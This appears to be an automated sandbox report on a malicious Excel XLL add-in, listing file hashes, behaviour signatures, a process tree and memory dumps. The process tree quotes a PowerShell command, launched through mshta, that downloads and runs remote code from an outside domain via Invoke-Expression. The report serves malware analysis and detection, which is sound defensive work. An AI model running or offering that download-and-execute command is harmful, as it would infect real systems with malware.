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Analysis

  • max time kernel
    101s
  • max time network
    123s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240426-en
  • resource tags

    arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    22/05/2024, 16:47

General

  • Target

    e097bb2d81f298f00366c9f679fb1fe68276dad5417ce09f7802f248bbc54089.xll

  • Size

    12KB

  • MD5

    16e673ea543292122cfe9db64dca1f9c

  • SHA1

    11745eedf398b7f4f33f7e26cd92ecfa17ae89fe

  • SHA256

    e097bb2d81f298f00366c9f679fb1fe68276dad5417ce09f7802f248bbc54089

  • SHA512

    a9d9f28364ba5832eaaae9979cde9f6bf1730ed296187dfd5a46975d624ec628b51d1dc190930b269fbb568cc1db42c2c10a21f8bd72b1c0966e67e501a5ce97

  • SSDEEP

    192:RL29RBzDzeobchBj8JONlONsVruFrEPEjr7AhuN:h29jnbcvYJOmWuFvr7Cq

Score
10/10

Malware Config

Extracted

Language
xlm4.0
Source

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\e097bb2d81f298f00366c9f679fb1fe68276dad5417ce09f7802f248bbc54089.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1716
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4496
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4880

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\RV9E03Y0\d[1].htm

    Filesize

    2KB

    MD5

    f754844cfb65838d1dd6b19dde5d835c

    SHA1

    b3eb677783adc88c8d048898449e04d49f416db6

    SHA256

    3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

    SHA512

    f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_42htqqwn.42i.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\e097bb2d81f298f00366c9f679fb1fe68276dad5417ce09f7802f248bbc54089.xll

    Filesize

    12KB

    MD5

    16e673ea543292122cfe9db64dca1f9c

    SHA1

    11745eedf398b7f4f33f7e26cd92ecfa17ae89fe

    SHA256

    e097bb2d81f298f00366c9f679fb1fe68276dad5417ce09f7802f248bbc54089

    SHA512

    a9d9f28364ba5832eaaae9979cde9f6bf1730ed296187dfd5a46975d624ec628b51d1dc190930b269fbb568cc1db42c2c10a21f8bd72b1c0966e67e501a5ce97

  • memory/1716-10-0x00007FFB01650000-0x00007FFB01660000-memory.dmp

    Filesize

    64KB

  • memory/1716-22-0x00007FFB44160000-0x00007FFB44369000-memory.dmp

    Filesize

    2.0MB

  • memory/1716-5-0x00007FFB44160000-0x00007FFB44369000-memory.dmp

    Filesize

    2.0MB

  • memory/1716-6-0x00007FFB041F0000-0x00007FFB04200000-memory.dmp

    Filesize

    64KB

  • memory/1716-7-0x00007FFB44160000-0x00007FFB44369000-memory.dmp

    Filesize

    2.0MB

  • memory/1716-9-0x00007FFB44160000-0x00007FFB44369000-memory.dmp

    Filesize

    2.0MB

  • memory/1716-8-0x00007FFB44160000-0x00007FFB44369000-memory.dmp

    Filesize

    2.0MB

  • memory/1716-0-0x00007FFB041F0000-0x00007FFB04200000-memory.dmp

    Filesize

    64KB

  • memory/1716-12-0x00007FFB44160000-0x00007FFB44369000-memory.dmp

    Filesize

    2.0MB

  • memory/1716-13-0x00007FFB44160000-0x00007FFB44369000-memory.dmp

    Filesize

    2.0MB

  • memory/1716-14-0x00007FFB44160000-0x00007FFB44369000-memory.dmp

    Filesize

    2.0MB

  • memory/1716-11-0x00007FFB44160000-0x00007FFB44369000-memory.dmp

    Filesize

    2.0MB

  • memory/1716-15-0x00007FFB01650000-0x00007FFB01660000-memory.dmp

    Filesize

    64KB

  • memory/1716-17-0x00007FFB44160000-0x00007FFB44369000-memory.dmp

    Filesize

    2.0MB

  • memory/1716-18-0x00007FFB44160000-0x00007FFB44369000-memory.dmp

    Filesize

    2.0MB

  • memory/1716-20-0x00007FFB44160000-0x00007FFB44369000-memory.dmp

    Filesize

    2.0MB

  • memory/1716-16-0x00007FFB44160000-0x00007FFB44369000-memory.dmp

    Filesize

    2.0MB

  • memory/1716-21-0x00007FFB44160000-0x00007FFB44369000-memory.dmp

    Filesize

    2.0MB

  • memory/1716-4-0x00007FFB041F0000-0x00007FFB04200000-memory.dmp

    Filesize

    64KB

  • memory/1716-19-0x00007FFB44160000-0x00007FFB44369000-memory.dmp

    Filesize

    2.0MB

  • memory/1716-90-0x00007FFB44160000-0x00007FFB44369000-memory.dmp

    Filesize

    2.0MB

  • memory/1716-1-0x00007FFB041F0000-0x00007FFB04200000-memory.dmp

    Filesize

    64KB

  • memory/1716-88-0x00007FFB041F0000-0x00007FFB04200000-memory.dmp

    Filesize

    64KB

  • memory/1716-3-0x00007FFB44203000-0x00007FFB44204000-memory.dmp

    Filesize

    4KB

  • memory/1716-89-0x00007FFB041F0000-0x00007FFB04200000-memory.dmp

    Filesize

    64KB

  • memory/1716-87-0x00007FFB041F0000-0x00007FFB04200000-memory.dmp

    Filesize

    64KB

  • memory/1716-86-0x00007FFB041F0000-0x00007FFB04200000-memory.dmp

    Filesize

    64KB

  • memory/1716-2-0x00007FFB041F0000-0x00007FFB04200000-memory.dmp

    Filesize

    64KB

  • memory/1716-70-0x00007FFB44160000-0x00007FFB44369000-memory.dmp

    Filesize

    2.0MB

  • memory/4880-60-0x00000000066E0000-0x00000000066FE000-memory.dmp

    Filesize

    120KB

  • memory/4880-61-0x0000000006730000-0x000000000677C000-memory.dmp

    Filesize

    304KB

  • memory/4880-62-0x0000000007D30000-0x00000000083AA000-memory.dmp

    Filesize

    6.5MB

  • memory/4880-63-0x0000000006C10000-0x0000000006C2A000-memory.dmp

    Filesize

    104KB

  • memory/4880-59-0x0000000006220000-0x0000000006577000-memory.dmp

    Filesize

    3.3MB

  • memory/4880-50-0x00000000061B0000-0x0000000006216000-memory.dmp

    Filesize

    408KB

  • memory/4880-49-0x0000000006140000-0x00000000061A6000-memory.dmp

    Filesize

    408KB

  • memory/4880-48-0x0000000005860000-0x0000000005882000-memory.dmp

    Filesize

    136KB

  • memory/4880-46-0x0000000003240000-0x0000000003276000-memory.dmp

    Filesize

    216KB

  • memory/4880-47-0x0000000005B10000-0x000000000613A000-memory.dmp

    Filesize

    6.2MB